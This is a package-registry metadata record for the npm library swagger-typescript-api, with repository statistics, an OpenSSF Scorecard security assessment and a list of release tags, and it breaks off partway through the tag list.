{"id":2421055,"name":"swagger-typescript-api","ecosystem":"npm","description":"Generate the API client for Fetch or Axios from an OpenAPI Specification","homepage":"https://github.com/acacode/swagger-typescript-api","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/acacode/swagger-typescript-api","keywords_array":[],"namespace":null,"versions_count":201,"first_release_published_at":"2020-01-14T14:44:10.776Z","latest_release_published_at":"2026-09-18T19:45:51.365Z","latest_release_number":"13.13.0","last_synced_at":"2026-10-11T12:23:26.127Z","created_at":"2022-04-10T01:32:48.526Z","updated_at":"2026-10-12T09:16:48.745Z","registry_url":"https://www.npmjs.com/package/swagger-typescript-api","install_command":"npm install swagger-typescript-api","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"13.13.0"},"contentPolicy":null},"repo_metadata":{"id":37361380,"uuid":"233476269","full_name":"acacode/swagger-typescript-api","owner":"acacode","description":"Generate the API Client for Fetch or Axios from an OpenAPI Specification","archived":false,"fork":false,"pushed_at":"2026-09-18T19:44:16.000Z","size":21294,"stargazers_count":4125,"open_issues_count":210,"forks_count":436,"subscribers_count":6,"default_branch":"main","last_synced_at":"2026-10-09T14:36:20.358Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://acacode.github.io/swagger-typescript-api/","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/acacode.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"custom":["https://paypal.me/acacode"],"github":"smorimoto","ko_fi":"js2me"}},"created_at":"2020-01-12T23:46:19.000Z","updated_at":"2026-10-09T02:26:47.000Z","dependencies_parsed_at":"2026-05-02T03:04:14.691Z","dependency_job_id":null,"html_url":"https://github.com/acacode/swagger-typescript-api","commit_stats":{"total_commits":589,"total_committers":39,"mean_commits":"15.102564102564102","dds":0.6825127334465195,"last_synced_commit":"d467bb2ebef60e8c176a96244ae820f9710d1ef2"},"previous_names":[],"tags_count":163,"template":false,"template_full_name":null,"purl":"pkg:github/acacode/swagger-typescript-api","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/acacode","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/sbom","scorecard":{"id":116803,"data":{"date":"2025-08-11","repo":{"name":"github.com/acacode/swagger-typescript-api","commit":"1356859f28e02134139c86d4e3127c39c9767926"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":6.2,"checks":[{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Code-Review","score":4,"reason":"Found 2/5 approved changesets -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/typedoc.yml:21","Warn: jobLevel 'contents' permission set to 'write': .github/workflows/version-or-publish.yml:16","Info: topLevel permissions set to 'read-all': .github/workflows/main.yml:7","Info: topLevel permissions set to 'read-all': .github/workflows/typedoc.yml:9","Info: topLevel permissions set to 'read-all': .github/workflows/version-or-publish.yml:10"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/acacode/swagger-typescript-api/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/acacode/swagger-typescript-api/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/typedoc.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/acacode/swagger-typescript-api/typedoc.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/typedoc.yml:30: update your workflow using https://app.stepsecurity.io/secureworkflow/acacode/swagger-typescript-api/typedoc.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/typedoc.yml:42: update your workflow using https://app.stepsecurity.io/secureworkflow/acacode/swagger-typescript-api/typedoc.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/typedoc.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/acacode/swagger-typescript-api/typedoc.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/typedoc.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/acacode/swagger-typescript-api/typedoc.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/version-or-publish.yml:23: update your workflow using https://app.stepsecurity.io/secureworkflow/acacode/swagger-typescript-api/version-or-publish.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/version-or-publish.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/acacode/swagger-typescript-api/version-or-publish.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/version-or-publish.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/acacode/swagger-typescript-api/version-or-publish.yml/main?enable=pin","Info:   0 out of   9 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 25 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":9,"reason":"1 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-52f5-9888-hmc6"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-16T01:31:06.433Z","repository_id":37361380,"created_at":"2025-08-16T01:31:06.433Z","updated_at":"2025-08-16T01:31:06.433Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":343680568,"owners_count":38144353,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-09T02:00:07.585Z","response_time":55,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"acacode","name":"acacode","uuid":"39670415","kind":"organization","description":"We're creating open source for backend and frontend development","email":"acacode@outlook.com","website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/39670415?v=4","repositories_count":13,"last_synced_at":"2025-01-04T05:57:12.740Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/acacode","funding_links":[],"total_stars":3362,"followers":26,"following":0,"created_at":"2022-11-15T00:47:39.096Z","updated_at":"2025-01-04T05:57:12.740Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/acacode","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/acacode/repositories"},"tags":[{"name":"v13.12.5","sha":"b00c1a34bbf7f202a7cf3da8f75f0351168d2c1d","kind":"tag","published_at":"2026-07-14T07:08:48.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/v13.12.5","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@v13.12.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.12.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.12.5/manifests"},{"name":"v13.12.4","sha":"b06fb323373ab7e132a9eb94424f2bea5a4cc23c","kind":"tag","published_at":"2026-07-02T15:11:29.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/v13.12.4","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@v13.12.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.12.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.12.4/manifests"},{"name":"v13.12.3","sha":"6108f02e00bea97f471e57fff4d97e44a256acdc","kind":"tag","published_at":"2026-06-24T21:36:52.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/v13.12.3","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@v13.12.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.12.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.12.3/manifests"},{"name":"v13.12.2","sha":"cc3e4d1598dfd990b8d862b88cd64ae1ca7653e3","kind":"tag","published_at":"2026-06-08T13:00:18.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/v13.12.2","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@v13.12.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.12.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.12.2/manifests"},{"name":"v13.12.1","sha":"ee5034b1fcce29d1962923fa689fc8570cfdf075","kind":"tag","published_at":"2026-06-04T19:19:00.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/v13.12.1","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@v13.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.12.1/manifests"},{"name":"v13.12.0","sha":"ddf294386adcab3c3665f2a2b7561b8003fbc7f5","kind":"tag","published_at":"2026-05-28T18:46:07.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/v13.12.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@v13.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.12.0/manifests"},{"name":"v13.11.2","sha":"febb2d872fddb5a98b1bc605a3c52634329eebd0","kind":"tag","published_at":"2026-05-28T14:52:54.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/v13.11.2","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/v13.11.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@v13.11.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.11.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.11.2/manifests"},{"name":"v13.11.1","sha":"929b09c686b51944fa5cac7355b84d4e84a632b6","kind":"tag","published_at":"2026-05-28T09:04:15.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/v13.11.1","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/v13.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@v13.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.11.1/manifests"},{"name":"v13.11.0","sha":"03e439aa7c5e434338a5d57644e3da5cfc84f832","kind":"tag","published_at":"2026-05-28T07:14:04.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/v13.11.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/v13.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@v13.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.11.0/manifests"},{"name":"v13.10.0","sha":"3591dceb39bfc2ad338dec74f5c0b55e304881ce","kind":"tag","published_at":"2026-05-21T09:27:12.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/v13.10.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/v13.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@v13.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.10.0/manifests"},{"name":"v13.9.3","sha":"fe9bdb3b63928a13100bb866f05ad0e5c98c85f8","kind":"tag","published_at":"2026-05-19T19:42:30.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/v13.9.3","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/v13.9.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@v13.9.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.9.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.9.3/manifests"},{"name":"v13.9.2","sha":"9a201270410ca2dae3e3f5ca86dd282adb00c0ba","kind":"tag","published_at":"2026-05-15T09:05:23.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/v13.9.2","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/v13.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@v13.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.9.2/manifests"},{"name":"v13.9.1","sha":"7b59674e8bac4a58a15ae4a6c4e54ebf02e7bdb8","kind":"tag","published_at":"2026-05-08T22:08:20.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/v13.9.1","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/v13.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@v13.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.9.1/manifests"},{"name":"v13.9.0","sha":"b114f5833c282241f1af38be88679579ae0a34ca","kind":"tag","published_at":"2026-05-07T09:45:10.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/v13.9.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/v13.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@v13.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.9.0/manifests"},{"name":"v13.8.0","sha":"09d33d604090e510b417c90b470817046315cf20","kind":"tag","published_at":"2026-05-06T15:11:27.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/v13.8.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/v13.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@v13.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.8.0/manifests"},{"name":"v13.7.2","sha":"5a2a50e6a4ac23eaff4122ae0e070b4b3fa2faa3","kind":"tag","published_at":"2026-04-26T09:34:58.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/v13.7.2","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/v13.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@v13.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.7.2/manifests"},{"name":"v13.7.1","sha":"1a7d681722454ce420ef14996bf2fb9d1a79e4f4","kind":"tag","published_at":"2026-04-25T22:04:37.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/v13.7.1","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/v13.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@v13.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.7.1/manifests"},{"name":"v13.7.0","sha":"2351c593110fd35733c6db6bd78a740484a5044b","kind":"tag","published_at":"2026-04-24T21:22:28.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/v13.7.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/v13.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@v13.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.7.0/manifests"},{"name":"v13.6.11","sha":"afcf838a39bbd47547ac29236a491a8f8f942fbd","kind":"tag","published_at":"2026-04-24T10:12:31.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/v13.6.11","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/v13.6.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@v13.6.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.6.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.6.11/manifests"},{"name":"v13.6.10","sha":"cfc3592bcbe292d592c640f170727c7fef55ef35","kind":"tag","published_at":"2026-04-16T10:15:48.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/v13.6.10","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/v13.6.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@v13.6.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.6.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.6.10/manifests"},{"name":"v13.6.9","sha":"e7a7cb091c8e6d211978daf083111fec2fab53ef","kind":"tag","published_at":"2026-04-16T07:36:04.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/v13.6.9","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/v13.6.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@v13.6.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.6.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.6.9/manifests"},{"name":"v13.6.8","sha":"e2681d2d08d7753309ac2ea4676ada394ad2229f","kind":"tag","published_at":"2026-04-09T21:41:07.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/v13.6.8","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/v13.6.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@v13.6.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.6.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.6.8/manifests"},{"name":"v13.6.7","sha":"3c9676dc821f449f274bed027d1dcc6684ce1697","kind":"tag","published_at":"2026-04-04T21:09:45.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/v13.6.7","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/v13.6.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@v13.6.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.6.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.6.7/manifests"},{"name":"v13.6.6","sha":"3a7ab3cb6c51838b16d7a13ae3414ecfc7f59f85","kind":"tag","published_at":"2026-04-01T21:27:41.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/v13.6.6","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/v13.6.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@v13.6.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.6.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.6.6/manifests"},{"name":"v13.6.5","sha":"6c7db9aee57850ad7fd2b654493fb62337b8f0e5","kind":"tag","published_at":"2026-03-16T21:08:59.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/v13.6.5","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/v13.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@v13.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.6.5/manifests"},{"name":"v13.6.4","sha":"637935ceb4776841264356e2ce3c9fccb8c62f0d","kind":"tag","published_at":"2026-03-16T16:29:51.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/v13.6.4","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/v13.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@v13.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.6.4","manifests_url":"